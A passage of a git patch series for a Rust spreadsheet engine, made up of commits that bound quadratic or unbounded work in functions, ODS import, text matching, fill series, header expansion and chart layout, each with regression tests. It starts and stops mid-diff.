Graph { } } + /// [`Graph::dependents`] leaving out the formulas whose range reads an earlier call with the + /// same `taken` already listed. A walk over many changed cells that a few broad ranges cover + /// then lists those formulas once, instead of once per cell (which squared the work). The + /// graph must not change while `taken` is in use. + pub(super) fn dependents_untaken(&self, sheet: usize, c: CellRef, taken: &mut Taken, out: &mut Vec) { + if let Some(v) = self.cell_deps.get(&(sheet, c)) { + out.extend(v.iter().copied()); + } + if let Some(v) = self.col_deps.get(&(sheet, c.col)) { + v.query_untaken(c.row, c.row, taken.cols.entry((sheet, c.col)).or_default(), &mut |k| { + out.push(*k); + true + }); + } + if let Some(v) = self.wide_deps.get(&sheet) { + // A wide entry is taken once it covers the cell's column too. + v.query_untaken(c.row, c.row, taken.wide.entry(sheet).or_default(), &mut |(c0, c1, k)| { + let hit = *c0 <= c.col && c.col <= *c1; + if hit { + out.push(*k); + } + hit + }); + } + } + /// Formulas that read any cell of `range` (a formula can be listed more than once). pub fn dependents_of_range(&self, sheet: usize, range: RangeRef, out: &mut Vec) { if range.count() <= 4096 { From 065f05dbeccd98c6bca8f69fcdff9132d96fd732 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:51:58 -0500 Subject: [PATCH 287/298] Security: MODE counts through an index, FREQUENCY bins by binary search (#3198) * functions: MODE counts through an index, FREQUENCY bins by binary search MODE/MODE.SNGL/MODE.MULT searched the list of distinct numbers seen so far for every input, and FREQUENCY scanned the sorted bins for every data value, so both were quadratic in computed arrays. MODE now keys counts by value (-0 folded into 0, NaN never merged) and keeps first-occurrence order; FREQUENCY finds the first bin at or above each value with partition_point over the order it already sorts. Results are unchanged. * address review: FREQUENCY keeps NaN data in the overflow bin and NaN bins empty --- crates/functions/src/stat/descriptive.rs | 29 ++++++++++++++++++++---- crates/functions/src/stat/tests.rs | 20 ++++++++++++++++ 2 files changed, 44 insertions(+), 5 deletions(-) diff --git a/crates/functions/src/stat/descriptive.rs b/crates/functions/src/stat/descriptive.rs index f4e4b0160..c862e7605 100644 --- a/crates/functions/src/stat/descriptive.rs +++ b/crates/functions/src/stat/descriptive.rs @@ -50,12 +50,27 @@ pub(super) fn median(v: Vec) -> R { /// Values occurring at least twice, ordered by first occurrence, with their (equal, maximal) count. fn modes(v: &[f64]) -> Vec { + // Index of each distinct number in `counts`, so counting is linear rather than a search of + // every distinct number so far. Keyed by bits with -0 folded into 0 (they compare equal); NaN + // never equals anything, so it is never merged. + let mut index: std::collections::HashMap = std::collections::HashMap::new(); let mut counts: Vec<(f64, usize)> = Vec::new(); for &x in v { - if let Some(e) = counts.iter_mut().find(|e| e.0 == x) { - e.1 += 1; - } else { + if x.is_nan() { counts.push((x, 1)); + continue; + } + let key = if x == 0.0 { 0 } else { x.to_bits() }; + match index.entry(key) { + std::collections::hash_map::Entry::Occupied(e) => { + if let Some(c) = counts.get_mut(*e.get()) { + c.1 += 1; + } + } + std::collections::hash_map::Entry::Vacant(e) => { + e.insert(counts.len()); + counts.push((x, 1)); + } } } let best = counts.iter().map(|e| e.1).max().unwrap_or(0); @@ -451,11 +466,15 @@ pub(super) fn frequency(a: &[Arg], _: C) -> R { if bins.is_empty() { return col_value(vec![data.len() as f64]); } - let mut order: Vec = (0..bins.len()).collect(); + // a NaN bin equals no value (and would break the ascending order searched below) + let mut order: Vec = (0..bins.len()).filter(|&i| bins.get(i).is_some_and(|b| !b.is_nan())).collect(); order.sort_by(|&i, &j| bins.get(i).copied().unwrap_or(0.0).total_cmp(&bins.get(j).copied().unwrap_or(0.0))); let mut counts = vec![0.0; bins.len() + 1]; for x in data { - let slot = order.iter().find(|&&i| x <= bins.get(i).copied().unwrap_or(f64::INFINITY)).copied().unwrap_or(bins.len()); + // `order` sorts the bins ascending, so the bins `x` exceeds come first: binary search for + // the first bin at or above `x` (the first of equal bins, as a linear scan would find). + let pos = if x.is_nan() { order.len() } else { order.partition_point(|&i| bins.get(i).copied().unwrap_or(f64::INFINITY) < x) }; + let slot = order.get(pos).copied().unwrap_or(bins.len()); if let Some(c) = counts.get_mut(slot) { *c += 1.0; } diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index ba59116cd..efadca8c3 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -617,3 +617,23 @@ fn aggregate_helper() { close(aggregate_values_k(9, &vals, &nv(2.0)), 9.0); is_err(aggregate_values_k(14, &vals, &nv(10.0)), CellError::Num); } + +/// Security: FREQUENCY finds each value's bin by binary search, and MODE counts distinct numbers +/// through an index, so neither is quadratic in its inputs. Results are as before: unsorted and +/// duplicate bins keep their positions (a value goes to the first of equal bins), and tied modes +/// come in first-occurrence order. +#[test] +fn frequency_and_mode_scale_with_their_inputs() { + let f = ev("FREQUENCY", vec![c(&[1.0, 2.0, 2.0, 3.0, 5.0, 9.0, -1.0]), c(&[3.0, 2.0, 2.0, 0.0])]); + assert_eq!(rows_of(&f), vec![vec![nv(1.0)], vec![nv(3.0)], vec![nv(0.0)], vec![nv(1.0)], vec![nv(2.0)]]); + // NaN data goes to the overflow bin, and a NaN bin takes nothing + let f = ev("FREQUENCY", vec![c(&[f64::NAN, 0.5, 2.0]), c(&[f64::NAN, 1.0])]); + assert_eq!(rows_of(&f), vec![vec![nv(0.0)], vec![nv(1.0)], vec![nv(2.0)]]); + let data: Vec = (0..200_000).map(|i| f64::from(i) + 1e6).collect(); + let bins: Vec = (0..200_000).map(f64::from).collect(); + let f = ev("FREQUENCY", vec![c(&data), c(&bins)]); + assert_eq!(rows_of(&f).last(), Some(&vec![nv(200_000.0)])); + let distinct = ev("MODE", vec![c(&data)]); + is_err(distinct, CellError::NA); + assert_eq!(rows_of(&ev("MODE.MULT", vec![c(&[3.0, 0.0, 1.0, -0.0, 3.0, 1.0])])), vec![vec![nv(3.0)], vec![nv(0.0)], vec![nv(1.0)]]); +} From 184c0ec84d640e70e803c3c537c8bf840606e860 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:52:28 -0500 Subject: [PATCH 288/298] ods: charge a cell's text when the cell is read, not when its row ends (#3257) The importer kept every cell of a row and only charged their text to the 64 MiB allowance when the row finished, so one row of long cells could hold up to 16,384 MiB before being refused. Text is now charged as each cell finishes; the row charges only its repeats. --- crates/xlsx/src/ods.rs | 11 ++++++++++- crates/xlsx/src/tests/ods_tests.rs | 12 ++++++++++++ 2 files changed, 22 insertions(+), 1 deletion(-) diff --git a/crates/xlsx/src/ods.rs b/crates/xlsx/src/ods.rs index 9b7f0743b..b64930211 100644 --- a/crates/xlsx/src/ods.rs +++ b/crates/xlsx/src/ods.rs @@ -470,6 +470,14 @@ impl Import { None => return Err(IoError::TooLarge("ODS row exceeds worksheet width".into())), }; if kept { + // Charge the text a row keeps before the row is done, so a row of many long cells is + // refused as it grows; finish_row charges the row's repeats beyond the first. + if let Value::Text(t) = &cell.value { + self.text = self.text.saturating_add(u64::from(draft.repeat).saturating_mul(t.len() as u64)); + if self.text > MAX_TEXT { + return Err(IoError::TooLarge("ODS expands beyond the import limit (64 MiB of text)".into())); + } + } row.cells.push(RepeatedCell { col: row.col, repeat: draft.repeat, width, height, cell }); } row.col = end; @@ -537,7 +545,8 @@ impl Import { if !entry.cell.is_blank() { self.cells = self.cells.saturating_add(count); if let Value::Text(t) = &entry.cell.value { - self.text = self.text.saturating_add(count.saturating_mul(t.len() as u64)); + let repeats = count.saturating_sub(u64::from(entry.repeat)); + self.text = self.text.saturating_add(repeats.saturating_mul(t.len() as u64)); } } let merged = entry.width > 1 || entry.height > 1; diff --git a/crates/xlsx/src/tests/ods_tests.rs b/crates/xlsx/src/tests/ods_tests.rs index 47c258657..bac55efeb 100644 --- a/crates/xlsx/src/tests/ods_tests.rs +++ b/crates/xlsx/src/tests/ods_tests.rs @@ -200,6 +200,18 @@ fn ods_expansion_bounds_stop_small_repeat_bombs() { "x".repeat(1024) ); assert!(matches!(read_ods(&ods(&text)), Err(IoError::TooLarge(_)))); + // One row of cells each just under the 1 MiB cell limit, past 64 MiB in all: refused while + // the row is read, before it holds them all. The row's end is never reached. + let long = format!(r#""#, "x".repeat(1024 * 1024 - 1)); + let cells = ods(&format!(r#"{}"#, long.repeat(65))); + assert!(matches!(read_ods(&cells), Err(IoError::TooLarge(_)))); + // A row repeated once more than its cells' text allows is refused too, and one that fits reads. + let cell = format!(r#""#, "y".repeat(1024)); + let rows = |n: u32| { + ods(&format!(r#"{cell}"#)) + }; + assert!(read_ods(&rows(65_536)).is_ok()); + assert!(matches!(read_ods(&rows(65_537)), Err(IoError::TooLarge(_)))); } #[test] From a31178f5194ebb538af2728b8621c202d9a971ad Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:53:18 -0500 Subject: [PATCH 289/298] functions: NUMBERVALUE strips trailing percent signs in one pass (#3262) Each trailing % copied the rest of the text again, so a long run of them made one call quadratic. The signs are now counted and cut off in place. --- crates/functions/src/text.rs | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/crates/functions/src/text.rs b/crates/functions/src/text.rs index 7f1ba8731..bf4d51d22 100644 --- a/crates/functions/src/text.rs +++ b/crates/functions/src/text.rs @@ -339,11 +339,11 @@ fn numbervalue(a: &[Arg], c: &mut dyn Ctx) -> R { if body.is_empty() { return num_val(0.0); } - let mut pct = 0; - while let Some(b) = body.strip_suffix('%') { - body = b.to_string(); - pct += 1; - } + // Count the trailing percent signs and cut them off in place: copying the rest once per sign + // made a long run of them quadratic. + let kept = body.trim_end_matches('%').len(); + let pct = body.len() - kept; + body.truncate(kept); let mut seen_dec = false; let mut out = String::new(); for c in body.chars() { @@ -1084,6 +1084,15 @@ mod tests { use crate::util::testutil::*; + /// Trailing percent signs each divide by 100, and a long run of them is cut off in one pass. + #[test] + fn numbervalue_percent_signs() { + close(ev("NUMBERVALUE", vec![t("5%%")]), 0.0005); + close(ev("NUMBERVALUE", vec![t("1,5%"), t(","), t(".")]), 0.015); + let many = format!("1{}", "%".repeat(32_000)); + close(ev("NUMBERVALUE", vec![t(&many)]), 0.0); + } + #[test] fn bahttext() { let bt = |x: f64| ev("BAHTTEXT", vec![n(x)]); From 017c80572cb9592ba3f4228078cb1dd38a462d65 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:53:47 -0500 Subject: [PATCH 290/298] functions: match TEXTSPLIT/TEXTBEFORE/TEXTAFTER delimiters through an index, within a work limit (#3263) * functions: match TEXTSPLIT/TEXTBEFORE/TEXTAFTER delimiters through an index, within a work limit The delimiter matcher compared every delimiter, duplicates included, at every position of the text. Delimiters are now deduplicated and grouped by the character a match is anchored on, and a search that would compare more than 100 million characters returns #VALUE!. * functions: pass float literals in the delimiter test --- crates/functions/src/text.rs | 85 ++++++++++++++++++++++++++++-------- 1 file changed, 67 insertions(+), 18 deletions(-) diff --git a/crates/functions/src/text.rs b/crates/functions/src/text.rs index bf4d51d22..24674a93c 100644 --- a/crates/functions/src/text.rs +++ b/crates/functions/src/text.rs @@ -1,5 +1,7 @@ //! Text functions. +use std::collections::HashMap; + use gridcraft_core::parse::parse_number_text_in; use gridcraft_core::{CellError, Value, number_to_text}; @@ -541,23 +543,52 @@ fn delimiters(v: &Value) -> R>> { as_array(v).iter().map(|d| d.to_text().map(|s| chars(&s))).collect() } +/// Most delimiter characters compared in one search: text length × delimiters is the formula's +/// to choose, so the search gives up with `#VALUE!` rather than run on. +const MAX_MATCH_WORK: u64 = 100_000_000; + /// Non-overlapping delimiter matches (start, end) in char positions, in ascending order. Scans left /// to right preferring the longest delimiter starting at each position, or (`from_end`) right to /// left preferring the longest delimiter ending at each position. Empty delimiters are ignored unless all -/// delimiters are empty, in which case every position matches with zero length. -fn find_matches(text: &[char], delims: &[Vec], insensitive: bool, from_end: bool) -> Vec<(usize, usize)> { +/// delimiters are empty, in which case every position matches with zero length. Repeated +/// delimiters are tried once, and only those whose first (or, from the end, last) character is the +/// one at hand; a search past [`MAX_MATCH_WORK`] is `#VALUE!`. +fn find_matches(text: &[char], delims: &[Vec], insensitive: bool, from_end: bool) -> R> { let t = if insensitive { fold(text) } else { text.to_vec() }; - let ds: Vec> = delims.iter().filter(|d| !d.is_empty()).map(|d| if insensitive { fold(d) } else { d.clone() }).collect(); + let mut ds: Vec> = delims.iter().filter(|d| !d.is_empty()).map(|d| if insensitive { fold(d) } else { d.clone() }).collect(); if ds.is_empty() { - return (0..=t.len()).map(|i| (i, i)).collect(); + return Ok((0..=t.len()).map(|i| (i, i)).collect()); } + ds.sort_unstable(); + ds.dedup(); + // Delimiters by the character a match is anchored on. + let mut by_char: HashMap> = HashMap::new(); + for d in &ds { + let anchor = if from_end { d.last() } else { d.first() }; + if let Some(&c) = anchor { + by_char.entry(c).or_default().push(d); + } + } + let mut work = 0u64; + let mut longest = |candidates: Option<&Vec<&[char]>>, fits: &dyn Fn(&[char]) -> bool| -> R> { + let mut best = None; + for d in candidates.into_iter().flatten() { + work = work.saturating_add(d.len() as u64); + if work > MAX_MATCH_WORK { + return Err(CellError::Value); + } + if fits(d) { + best = best.max(Some(d.len())); + } + } + Ok(best) + }; let mut out = Vec::new(); if from_end { let mut j = t.len(); while j > 0 { - let best = - ds.iter().filter(|d| j.checked_sub(d.len()).and_then(|st| t.get(st..j)).is_some_and(|w| w == d.as_slice())).map(Vec::len).max(); - match best { + let at = t.get(j - 1).and_then(|c| by_char.get(c)); + match longest(at, &|d| j.checked_sub(d.len()).and_then(|st| t.get(st..j)).is_some_and(|w| w == d))? { Some(l) => { out.push((j - l, j)); j -= l; @@ -566,12 +597,12 @@ fn find_matches(text: &[char], delims: &[Vec], insensitive: bool, from_end } } out.reverse(); - return out; + return Ok(out); } let mut i = 0; while i < t.len() { - let best = ds.iter().filter(|d| t.get(i..i + d.len()).is_some_and(|w| w == d.as_slice())).map(Vec::len).max(); - match best { + let at = t.get(i).and_then(|c| by_char.get(c)); + match longest(at, &|d| t.get(i..i + d.len()).is_some_and(|w| w == d))? { Some(l) => { out.push((i, i + l)); i += l; @@ -579,7 +610,7 @@ fn find_matches(text: &[char], delims: &[Vec], insensitive: bool, from_end None => i += 1, } } - out + Ok(out) } fn text_before_after(a: &[Arg], before: bool) -> R { @@ -591,7 +622,7 @@ fn text_before_after(a: &[Arg], before: bool) -> R { if !(0..=1).contains(&mode) || inst == 0 || inst.unsigned_abs() as usize > s.len().max(1) { return Err(CellError::Value); } - let mut m = find_matches(&s, &delims, mode == 1, inst < 0); + let mut m = find_matches(&s, &delims, mode == 1, inst < 0)?; if match_end { if inst > 0 { if m.last().is_none_or(|x| x.0 != s.len()) { @@ -620,18 +651,18 @@ fn textafter(a: &[Arg], _c: &mut dyn Ctx) -> R { text_before_after(a, false) } -fn split_by(s: &[char], delims: &[Vec], insensitive: bool) -> Vec> { +fn split_by(s: &[char], delims: &[Vec], insensitive: bool) -> R>> { if delims.iter().all(Vec::is_empty) { - return vec![s.to_vec()]; + return Ok(vec![s.to_vec()]); } let mut out = Vec::new(); let mut last = 0; - for (st, en) in find_matches(s, delims, insensitive, false) { + for (st, en) in find_matches(s, delims, insensitive, false)? { out.push(s[last..st].to_vec()); last = en; } out.push(s[last..].to_vec()); - out + Ok(out) } fn textsplit(a: &[Arg], _c: &mut dyn Ctx) -> R { @@ -648,12 +679,12 @@ fn textsplit(a: &[Arg], _c: &mut dyn Ctx) -> R { } let pad = if has(a, 5) { scalar(arg(a, 5)?) } else { Value::Error(CellError::NA) }; let mut rows: Vec> = Vec::new(); - for r in split_by(&s, &row_d, mode == 1) { + for r in split_by(&s, &row_d, mode == 1)? { if ignore && r.is_empty() { continue; } let cells: Vec = - split_by(&r, &col_d, mode == 1).into_iter().filter(|c| !(ignore && c.is_empty())).map(|c| c.into_iter().collect()).collect(); + split_by(&r, &col_d, mode == 1)?.into_iter().filter(|c| !(ignore && c.is_empty())).map(|c| c.into_iter().collect()).collect(); if ignore && cells.is_empty() { continue; } @@ -1375,6 +1406,24 @@ mod tests { is_text(ev("TEXTAFTER", vec![t("aaa"), t("aa"), n(1.0)]), "a"); } + /// Thousands of copies of one delimiter are tried once; delimiters that can't start where the + /// scan stands aren't compared; a search over a budget of comparisons is `#VALUE!`. + #[test] + fn delimiter_matching_stays_bounded() { + let text = "ab,".repeat(10_000); + let same: Vec<&str> = vec![","; 50_000]; + let v = ev("TEXTSPLIT", vec![t(&text), av(row_t(&same))]); + assert_eq!(rows_of(&v).first().map(Vec::len), Some(10_001)); + // Distinct long delimiters that start and end like every position: refused, not run. + let long: Vec = (0..5_000).map(|i| format!("a{i}{}", "a".repeat(1_000))).collect(); + let long: Vec<&str> = long.iter().map(String::as_str).collect(); + is_err(ev("TEXTSPLIT", vec![t(&"a".repeat(30_000)), av(row_t(&long))]), CellError::Value); + is_err(ev("TEXTBEFORE", vec![t(&"a".repeat(30_000)), av(row_t(&long)), n(-1.0)]), CellError::Value); + // Longest match wins at a position, from either end. + is_text(ev("TEXTBEFORE", vec![t("x--y-z"), av(row_t(&["-", "--"]))]), "x"); + is_text(ev("TEXTAFTER", vec![t("x--y-z"), av(row_t(&["-", "--"])), n(-1.0)]), "z"); + } + #[test] fn split() { let v = ev("TEXTSPLIT", vec![t("a,b;c,d"), t(","), t(";")]); From 4421bc679002ee8b2a74705c44d4485ee189682f Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:54:17 -0500 Subject: [PATCH 291/298] engine: weekday fill series moves by whole weeks (#3272) edit.fillSeries with dateUnit "weekday" stepped one calendar day at a time, so a large step cost work proportional to its size for every cell. It now uses add_weekdays, which moves whole weeks arithmetically. --- crates/engine/src/fill.rs | 17 +++-------------- crates/engine/src/tests.rs | 18 ++++++++++++++++++ 2 files changed, 21 insertions(+), 14 deletions(-) diff --git a/crates/engine/src/fill.rs b/crates/engine/src/fill.rs index c63d7c983..efa09310a 100644 --- a/crates/engine/src/fill.rs +++ b/crates/engine/src/fill.rs @@ -575,20 +575,9 @@ pub fn series(cx: &mut Ctx, sheet: usize, options: SeriesOptions<'_>) -> Result< match (unit, d) { ("month", Some(_)) => (step as i64).checked_mul(i as i64).and_then(|m| add_months_clamped(sys, start, m)).unwrap_or(v), ("year", Some(_)) => (step as i64).checked_mul(i as i64 * 12).and_then(|m| add_months_clamped(sys, start, m)).unwrap_or(v), - ("weekday", Some(_)) => { - let mut n = v; - let mut left = step.abs() as i64; - while left > 0 { - n += step.signum(); - let Some(day) = datetime_from_serial(sys, n) else { - return Err(crate::EngineError::Other("The weekday series runs past the supported date range.".into())); - }; - if day.weekday != 0 && day.weekday != 6 { - left -= 1; - } - } - n - } + // Whole weeks at a time: a huge step costs no more than a small one. + ("weekday", Some(_)) => add_weekdays(sys, v, step as i64) + .ok_or_else(|| crate::EngineError::Other("The weekday series runs past the supported date range.".into()))?, _ => v + step, } } diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index fe42b6977..dd7488f19 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -3975,6 +3975,24 @@ fn fill_series_weekday_out_of_range_step_errors() { assert_eq!(v(&s, "A2"), Value::Empty); } +/// A step of a million weekdays moves whole weeks at a time instead of visiting every day, and +/// lands where counting day by day would. +#[test] +fn fill_series_weekday_large_step_is_arithmetic() { + let mut s = s(); + // 45005 is Monday 20 March 2023; five weekdays on from a Monday is the next Monday. + s.execute("cell.set", json!({"cell": "A1", "input": "45005"})).unwrap(); + s.execute("edit.fillSeries", json!({"range": "A1:A3", "direction": "columns", "type": "date", "dateUnit": "weekday", "step": 1_000_000})) + .unwrap(); + assert_eq!(v(&s, "A2"), Value::Number(45005.0 + 1_400_000.0)); + assert_eq!(v(&s, "A3"), Value::Number(45005.0 + 2_800_000.0)); + s.execute("cell.set", json!({"cell": "B1", "input": "45009"})).unwrap(); + s.execute("edit.fillSeries", json!({"range": "B1:B3", "direction": "columns", "type": "date", "dateUnit": "weekday", "step": -1})).unwrap(); + // Friday 24 March 2023 back one weekday at a time: Thursday, Wednesday. + assert_eq!(v(&s, "B2"), Value::Number(45008.0)); + assert_eq!(v(&s, "B3"), Value::Number(45007.0)); +} + #[test] fn fill_series_month_leap_year() { let s = series_date("2028-01-31", "A1:A3", "month"); From bebe7de877ac8a816072899c333e01ee66a8d4a6 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:55:07 -0500 Subject: [PATCH 292/298] engine: cap header and footer sections at 64 KiB when fields expand (#3284) The 10,000-character header spec was bounded, but each &A, &F or &Z added the whole sheet name or path again, and a JSON workbook's sheet name has no length limit. A field that would take a section past 64 KiB is now left out. --- crates/engine/src/cmd/print/header_footer.rs | 25 ++++++++++++++------ crates/engine/src/cmd/print/tests.rs | 6 +++++ 2 files changed, 24 insertions(+), 7 deletions(-) diff --git a/crates/engine/src/cmd/print/header_footer.rs b/crates/engine/src/cmd/print/header_footer.rs index 0f973d7fb..2dede3a2c 100644 --- a/crates/engine/src/cmd/print/header_footer.rs +++ b/crates/engine/src/cmd/print/header_footer.rs @@ -153,6 +153,17 @@ pub struct HfSection { pub size: Option, } +/// Most bytes one section's expanded text may hold. A code like `&A` adds the whole sheet name +/// (or file path) each time it appears, and a JSON workbook's names have no length limit. +const MAX_SECTION_BYTES: usize = 64 * 1024; + +/// Appends `s` unless the section would pass [`MAX_SECTION_BYTES`]; what doesn't fit is left out. +fn push_field(text: &mut String, s: &str) { + if text.len().saturating_add(s.len()) <= MAX_SECTION_BYTES { + text.push_str(s); + } +} + /// Expands a header/footer string into its left, centre and right sections. pub fn expand_header_footer(spec: &str, cx: &HfContext) -> [HfSection; 3] { let mut out: [HfSection; 3] = Default::default(); @@ -187,14 +198,14 @@ pub fn expand_header_footer(spec: &str, cx: &HfContext) -> [HfSection; 3] { i += 1 + digits.len(); } } - sec.text.push_str(&n.to_string()); + push_field(&mut sec.text, &n.to_string()); } - 'N' | 'n' => sec.text.push_str(&cx.pages.to_string()), - 'D' | 'd' => sec.text.push_str(&cx.date), - 'T' | 't' => sec.text.push_str(&cx.time), - 'A' | 'a' => sec.text.push_str(&cx.sheet), - 'F' | 'f' => sec.text.push_str(&cx.file), - 'Z' | 'z' => sec.text.push_str(&cx.path), + 'N' | 'n' => push_field(&mut sec.text, &cx.pages.to_string()), + 'D' | 'd' => push_field(&mut sec.text, &cx.date), + 'T' | 't' => push_field(&mut sec.text, &cx.time), + 'A' | 'a' => push_field(&mut sec.text, &cx.sheet), + 'F' | 'f' => push_field(&mut sec.text, &cx.file), + 'Z' | 'z' => push_field(&mut sec.text, &cx.path), '&' => sec.text.push('&'), 'B' | 'b' => sec.bold = !sec.bold, 'I' | 'i' => sec.italic = !sec.italic, diff --git a/crates/engine/src/cmd/print/tests.rs b/crates/engine/src/cmd/print/tests.rs index 26fca1937..323060470 100644 --- a/crates/engine/src/cmd/print/tests.rs +++ b/crates/engine/src/cmd/print/tests.rs @@ -414,6 +414,12 @@ fn pdf_contains_text_and_header_codes_expand() { assert_eq!(r.text, "P4/9 9:00 AM"); assert_eq!(expand_header_footer("plain", &cx)[1].text, "plain"); assert_eq!(expand_header_footer("&", &cx)[1].text, ""); + // A megabyte sheet name repeated by 5,000 `&A` codes stops at the section's 64 KiB. + let long = HfContext { sheet: "S".repeat(1024 * 1024), ..cx }; + let [_, c, _] = expand_header_footer(&"&A".repeat(5_000), &long); + assert!(c.text.is_empty(), "the name alone is over the limit"); + let short = HfContext { sheet: "S".repeat(1000), ..Default::default() }; + assert_eq!(expand_header_footer(&"&A".repeat(5_000), &short)[1].text.len(), 65_000); } #[test] From cdd3a59dbc868cd4f8d3d3688fe21a485034482f Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:55:35 -0500 Subject: [PATCH 293/298] Treemap rows keep running aggregates; General-fit width is clamped (#3290) --- crates/chart/src/render/kinds.rs | 17 +++++++++-------- crates/numfmt/src/decimal.rs | 5 +++++ 2 files changed, 14 insertions(+), 8 deletions(-) diff --git a/crates/chart/src/render/kinds.rs b/crates/chart/src/render/kinds.rs index 54ce6bec8..10286107b 100644 --- a/crates/chart/src/render/kinds.rs +++ b/crates/chart/src/render/kinds.rs @@ -203,12 +203,11 @@ pub(super) fn pie(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx, inne // ---------------------------------------------------------------- treemap -fn worst(row: &[f64], side: f64) -> f64 { - let s: f64 = row.iter().sum(); +/// Worst aspect ratio of a row with the given sum, smallest and largest area. +fn worst(s: f64, mn: f64, mx: f64, side: f64) -> f64 { if s <= 0.0 || side <= 0.0 { return f64::INFINITY; } - let (mn, mx) = row.iter().fold((f64::INFINITY, 0.0f64), |(a, b), v| (a.min(*v), b.max(*v))); let s2 = s * s; let w2 = side * side; (w2 * mx / s2).max(s2 / (w2 * mn)) @@ -225,6 +224,8 @@ fn squarify(items: &[(usize, f64)], r: Bx) -> Vec<(usize, Bx)> { let mut out = Vec::with_capacity(items.len()); let mut rem = r; let mut row: Vec<(usize, f64)> = Vec::new(); + // The row's sum, smallest and largest area, kept as items join so each step is O(1). + let (mut sum, mut mn, mut mx) = (0.0f64, f64::INFINITY, 0.0f64); let mut i = 0; let layout = |row: &[(usize, f64)], rem: &mut Bx, out: &mut Vec<(usize, Bx)>| { let s: f64 = row.iter().map(|x| x.1).sum(); @@ -256,15 +257,14 @@ fn squarify(items: &[(usize, f64)], r: Bx) -> Vec<(usize, Bx)> { while let Some(&(j, v)) = items.get(i) { let a = v * scale; let side = rem.w.min(rem.h) as f64; - let cur: Vec = row.iter().map(|x| x.1).collect(); - let mut with = cur.clone(); - with.push(a); - if row.is_empty() || worst(&with, side) <= worst(&cur, side) { + if row.is_empty() || worst(sum + a, mn.min(a), mx.max(a), side) <= worst(sum, mn, mx, side) { row.push((j, a)); + (sum, mn, mx) = (sum + a, mn.min(a), mx.max(a)); i += 1; } else { layout(&row, &mut rem, &mut out); row.clear(); + (sum, mn, mx) = (0.0, f64::INFINITY, 0.0); } } if !row.is_empty() { @@ -279,6 +279,7 @@ pub(super) fn treemap(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) s.values.iter().take(MAX_MARKERS).enumerate().filter_map(|(j, v)| v.filter(|v| *v > 0.0).map(|v| (j, v))).collect(); items.sort_by(|a, b| b.1.total_cmp(&a.1)); let f = Fmt::new(&s.number_format); + let value_of: std::collections::HashMap = items.iter().copied().collect(); for (j, b) in squarify(&items, area) { let fill = point_color(data, j); ctx.rect(b.x, b.y, b.w, b.h, fill, Some((WHITE, 1.5))); @@ -286,7 +287,7 @@ pub(super) fn treemap(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) let name = ctx.fit(&cat_label(data, j), LABEL_SIZE, b.w - 8.0); ctx.text(b.x + 4.0, b.y + 4.0, &name, LABEL_SIZE, on(fill), (HAlign::Left, VAlign::Top)); if chart.data_labels && b.h > LABEL_SIZE * 3.2 { - let v = items.iter().find(|x| x.0 == j).map(|x| x.1).unwrap_or(0.0); + let v = value_of.get(&j).copied().unwrap_or(0.0); let t = ctx.fit(&f.format(v, None), LABEL_SIZE, b.w - 8.0); ctx.text(b.x + 4.0, b.y + 4.0 + LABEL_SIZE * 1.4, &t, LABEL_SIZE, on(fill), (HAlign::Left, VAlign::Top)); } diff --git a/crates/numfmt/src/decimal.rs b/crates/numfmt/src/decimal.rs index 67071d4e0..b6c831f71 100644 --- a/crates/numfmt/src/decimal.rs +++ b/crates/numfmt/src/decimal.rs @@ -136,6 +136,9 @@ pub(crate) fn fixed(a: f64, decimals: usize) -> (String, String) { /// General format squeezed into `max_chars` characters. Excel shows fewer decimals, then /// scientific notation, then "####" when a column is narrow; `None` means the caller paints "####". pub fn format_general_fit(n: f64, max_chars: usize) -> Option { + // The widest fixed rendering of a double is about 330 characters; a larger request only + // pads zero decimals the trim below throws away. + let max_chars = max_chars.min(1024); if !n.is_finite() { return None; } @@ -214,6 +217,8 @@ mod tests { fn general_fit() { assert_eq!(format_general_fit(1e11, 11).as_deref(), Some("1E+11")); assert_eq!(format_general_fit(12345678901.0, 11).as_deref(), Some("12345678901")); + // A huge width neither allocates width-sized padding nor changes the text. + assert_eq!(format_general_fit(1.5, usize::MAX).as_deref(), Some("1.5")); assert_eq!(format_general_fit(123456789012.0, 11).as_deref(), Some("1.23457E+11")); assert_eq!(format_general_fit(0.1 + 0.2, 11).as_deref(), Some("0.3")); assert_eq!(format_general_fit(1.0 / 3.0, 11).as_deref(), Some("0.333333333")); From 22c5dfe0df2cea2e2fceb1189c75fcfa77f2b587 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:56:06 -0500 Subject: [PATCH 294/298] engine: protected sheets gate filter reapply, outline, line sizes and floating pictures; pivot destination resolved before the structure check; user-limited edit ranges stay locked (#3296) --- crates/engine/src/cmd.rs | 8 +++- crates/engine/src/cmd/data/filter.rs | 2 + crates/engine/src/cmd/data/grouping.rs | 17 ++++++++ crates/engine/src/cmd/format/sizes.rs | 11 +++++ crates/engine/src/cmd/insert.rs | 4 ++ crates/engine/src/cmd/pivot/create.rs | 7 +-- crates/engine/src/tests.rs | 59 ++++++++++++++++++++++++++ 7 files changed, 103 insertions(+), 5 deletions(-) diff --git a/crates/engine/src/cmd.rs b/crates/engine/src/cmd.rs index 1148a6b6e..02f6dabca 100644 --- a/crates/engine/src/cmd.rs +++ b/crates/engine/src/cmd.rs @@ -503,10 +503,14 @@ pub(crate) fn refuse_unless_allowed(s: &Session, sheet: usize, what: &str, pick: pub(crate) fn 